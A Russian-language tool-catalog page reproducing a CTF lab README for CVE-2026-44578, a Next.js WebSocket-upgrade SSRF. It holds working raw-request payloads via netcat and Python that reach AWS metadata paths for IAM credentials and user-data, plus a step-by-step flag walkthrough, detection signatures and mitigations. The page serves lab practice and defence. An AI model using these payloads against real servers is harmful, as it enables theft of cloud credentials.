Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-44578-next-js-ssrf — Este laboratorio puede estar bien o mal, está en pruebas, pero debería funcionar. Pregúntale a la IA, jajaja. | Kitploit
Инструменты/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеБезопасность облачных средЛаборатории и Практика
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

Este laboratorio puede estar bien o mal, está en pruebas, pero debería funcionar. Pregúntale a la IA, jajaja.

Репозиторий
11 ч 46 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Лаборатория)

Автономная лаборатория для воспроизведения уязвимости CVE-2026-44578 (CWE-918, SSRF) в приложениях Next.js self-hosted, использующих встроенный сервер Node.js.

ПолеЗначение
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
ТипSSRF (CWE-918)
Затронутые версииNext.js 13.4.13 – 15.5.15 и 16.0.0 – 16.2.4
Исправленные версии15.5.16 и 16.2.5
Аутентификацияне требуется
Взаимодействие с пользователемне требуется

Топология лаборатории

root@kitploit:~
Атакующий (host: 0.0.0.0)
    │  HTTP :3000 (публичный)
    ▼
┌──────────────────────────┐  одно сетевое пространство  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (учётные данные,    │
│ (встроенный сервер Node) │                           │  user-data, индекс) │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (порт 3000): уязвимое приложение, доступное на 0.0.0.0:3000.
  • imds-sidecar: имитация metadata-сервиса AWS, работающая на localhost:80 внутри namespace контейнера Next.js, моделирующая реальный облачный инстанс. Недоступна с хоста напрямую (порт не опубликован).
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC автоматизированный (5 probes)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + секретные маршруты
                        └── nextjs-app/             # Реалистичное приложение "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (уязвимая)

Почему это уязвимо

Обработчик upgrade WebSocket в router-server.ts вызывает proxyRequest(), когда в разобранном URI есть parsedUrl.protocol, без проверки флагов finished и statusCode, которые обычный HTTP-обработчик всегда устанавливал:

root@kitploit:~
  // уязвимо (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // патч (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

Вектор атаки использует request line с абсолютным URI с двойным слэшем: GET http:///path. normalizeRepeatedSlashes схлопывает http:/// в http:/, в результате чего hostname отсутствует, и http-proxy подключается к localhost:80 с нетронутым path:

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Наличие заголовков Connection: Upgrade + Upgrade: websocket приводит к тому, что запрос попадает в уязвимый обработчик upgrade вместо HTTP-обработчика с проверками безопасности.

Запуск лаборатории

root@kitploit:~
docker compose up -d --build

Проверка, что приложение отвечает:

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

Для работы на 0.0.0.0 маппинг портов в docker-compose.yml уже открывает 3000:3000 на всех интерфейсах.

Ручная эксплуатация

1. С помощью netcat (nc)

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Чистый Python (stdlib, без зависимостей)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. С помощью автоматизированного PoC

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — ручной захват финального флага

Полный 100 % ручной процесс в 4 фазах. Во внутреннем сервисе (localhost:80) скрыто 4 флага; это руководство показывает путь до первого и оставляет маршруты для поиска остальных.

Фаза 1 — Разведка

root@kitploit:~
# Фингерпринт сервера
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Открытые порты через сокет (без nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

Прямого доступа к 127.0.0.1:80 у атакующего нет: единственный вектор — заставить сервер Next.js (который находится в той же сети, что и внутренний сервис) сделать запрос за нас.

Фаза 2 — Перечисление metadata-сервиса через SSRF

Сначала подтверждаем SSRF, запросив индекс metadata-сервиса:

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Ответ индекса → кандидаты: instance-id, hostname, iam/security-credentials/, user-data (первый флаг). Индекс latest/meta-data/ также раскрывает под-ключи, которые стоит продолжить исследовать.

Фаза 3 — Сборка payload (байт за байтом)

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
ЧастьФункция
GETУязвимость проксирует только GET
http:///latest/user-dataАбсолютный URI. http:/// схлопывается в http:/ → hostname null → прокси подключается к localhost:80, сохраняя path /latest/user-data
Host: 127.0.0.1:3000Иначе сервер отвечает 400
Connection: Upgrade + Upgrade: websocketНаправляют запрос в уязвимый обработчик upgrade (обычный HTTP-обработчик проверки выполняет)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==Минимальные заголовки, требуемые в легитимном handshake

Завершение: \r\n\r\n в raw-сокете (без тела).

Фаза 4 — Ручной запуск и захват флага

root@kitploit:~
# Вариант A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# Вариант B: raw-сокет на Python (та же точность, без nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Вывод — первый флаг приходит в теле ответа внутреннего сервиса:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

Флаг 1/4 получен. Заголовок server: BaseHTTP/0.6 ... (Python mock) подтверждает, что запрос прошёл Атакующий → Next.js → localhost:80, то есть флаг был выкраден из внутренней сети через SSRF. Остальные 3 разбросаны по маршрутам metadata-сервиса и внутреннего сервиса — индекс latest/meta-data/ — ваша карта. Найдите остальные.

Открытые endpoints в лаборатории

Fake IMDS (localhost:80) моделирует реальный metadata-сервис AWS: это навигируемое дерево. Каждый каталог (заканчивается на /) отвечает индексом своих под-маршрутов; запрос каталога без / возвращает redirect 301. Скрытых маршрутов нет: ни один флаг не требует угадывания — всё обнаруживается навигацией по индексам.

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → скрипт загрузки (указывает на internal/config)
МаршрутСодержимое
latest/meta-data/Индекс metadata (строка выше)
latest/meta-data/iam/security-credentials/Роль lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleJSON с AccessKeyId, SecretAccessKey и Token
latest/user-dataСкрипт загрузки с учётными данными БД
latest/dynamic/instance-identity/documentJSON идентичности инстанса
internal/configКонфиг внутреннего сервиса (БД, API key) — упоминается в user-data

CTF-задача: есть 4 флага, и каждый — реальный артефакт из цепочки эксплуатации SSRF против AWS: (1) user-data загрузки, (2) учётные данные IAM, (3) identity document, (4) конфиг внутреннего сервиса. Их значения не опубликованы. Навигируйте по индексам (/ → latest/ → …) и следуйте от баннера к баннеру; скрипт user-data подскажет, где находится четвёртый. Угадывать маршруты не нужно: 404 лишь выдаёт, что вы выдумываете несуществующий path.

Руководство по решению (постепенные спойлеры)

Полная версия с цепочкой флаг→флаг в отдельном документе: SOLUCION.md (каждый флаг даёт подсказку к следующему, вне этого README).

Правило: у каждого флага есть подсказка, препятствие и решение. Сначала попробуйте по подсказке; используйте препятствие, когда застряли. Скрытых маршрутов нет: никто не обманывает, всё навигируется.

Два предупреждения перед началом:

  1. Хелпер ssrf() уже готов в SOLUCION.md → Подготовка: скопируйте и используйте его для остальной части руководства. Отправляет запрос GET http:///<path> с Connection: Upgrade + Upgrade: websocket.
  2. Флаги передаются зашифрованными в base64. В ответах вы увидите blob'ы RkxBR3… (base64 от FLAG{…}). Расшифруйте их: echo <blob> | base64 -d.

Флаг 1 — user-data (самый простой)

  • Подсказка: что возвращает GET на /latest/user-data? Это первое, что проверяет любой атакующий в AWS.
  • Препятствие 1 (индексы 301): каталоги перечисляются с / в конце. ssrf latest/meta-data даёт 301 Moved Permanently и Location: latest/meta-data/. = "Следуй за мной". В nc нет автоматического перехода: повторите запрос со слэшем.
  • Решение:
root@kitploit:~
ssrf latest/user-data

В теле: скрипт загрузки с DB_PASS=… (Флаг 1 находится внутри), и строка curl -s http://internal/config, которая является картой Флага 4.

Флаг 2 — учётные данные IAM

  • Подсказка: навигируйте latest/meta-data/iam/security-credentials/ и запросите роль, которая появится.
  • Препятствие 2 (Token — не заполнитель): 200 возвращает длинный JSON. AccessKeyId/SecretAccessKey бросаются в глаза; Флага 2 там нет: поле Token — одна строка base64. Расшифруйте её.
  • Решение:
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

Флаг 3 — identity document

  • Подсказка: latest/meta-data/ — не единственное дерево. Посмотрите корневой индекс: там есть dynamic/, который почти никто не открывает.
  • Препятствие (цепочка редиректов): dynamic/ → instance-identity/ → document. Три ступени; на каждой ваш ssrf должен заканчиваться на / (кроме document). Люди теряются, не повторяя запрос после 301.
  • Решение:
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

JSON идентичности включает ключ FLAG с Флагом 3 (в base64). Если ваша серия команд вернула 301 на второй ступени — вспомните урок Препятствия 1.

Флаг 4 — конфиг внутреннего сервиса

  • Подсказка: Флаг 1 (user-data) выдал адрес: curl -s http://internal/config.
  • Препятствие (что такое "internal"?): со стороны атакующего internal не резолвится. "internal" — алиас на стороне сервера, не ваш. Вы не меняете host: SSRF всегда приземляется на localhost:80; вы выбираете только path.
  • Решение:
root@kitploit:~
ssrf internal/config

Проверка всех 4 (blob base64 → декодировано):

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4 флага в руках. Если какой-то не даёт FLAG{...}, вы знаете: проверьте curl из user-data (препятствие Флага 4) или / в индексах (препятствие Флага 1).

Ручное использование, например учётные данные IAM:

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Ожидаемый результат — ответ приходит с server: BaseHTTP/0.6 Python/3.12.x (mock), не с баннером Next.js, что доказывает: запрос был сделан сервером к localhost:80:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

Результат PoC

PoC проверяет SSRF, но цензурирует флаги: base64-blob'ы FLAG{...} и открытые FLAG{...} отображаются как зацензурированный текст. Значения получаются только ручным исследованием (раздел CTF выше).

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (flag cifrado: explotacion manual) ***

Ограничения уязвимости

  • Только GET (не POST/PUT).
  • Только порт 80 (hostname теряется при нормализации http:///).
  • IMDSv2 не эксплуатируется (требует PUT для токена).
  • Metadata GCP не эксплуатируется (отклоняет Upgrade: websocket с 400).
  • Vercel-hosted не затронут.
  • За обратным прокси (nginx/Caddy/HAProxy) абсолютные URI обычно блокируются.

Проверка "исправленности"

Чтобы подтвердить, что патч (Next.js ≥ 15.5.16) блокирует атаку, измените версию в nextjs-app/package.json на 15.5.16, пересоберите и повторно выполните тот же payload: соединение закроется без возврата данных.

Обнаружение

Сигнатуры в логах процесса Next.js:

  • Failed to proxy http:/ — прокси сработал, но цель была недостижима.
  • Запросы, чья request line содержит абсолютный URI с http: вместе с заголовками Connection: Upgrade / Upgrade: websocket.

Смягчение

  • Обновиться до 15.5.16 / 16.2.5 или новее.
  • Если обновление невозможно: заблокировать WebSocket-upgrade на обратном прокси и применить IMDSv2 (HttpTokens=required) в AWS.
  • Пример nginx для отклонения абсолютных URI:
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

Ссылки

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Fix commit: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Скачать инструмент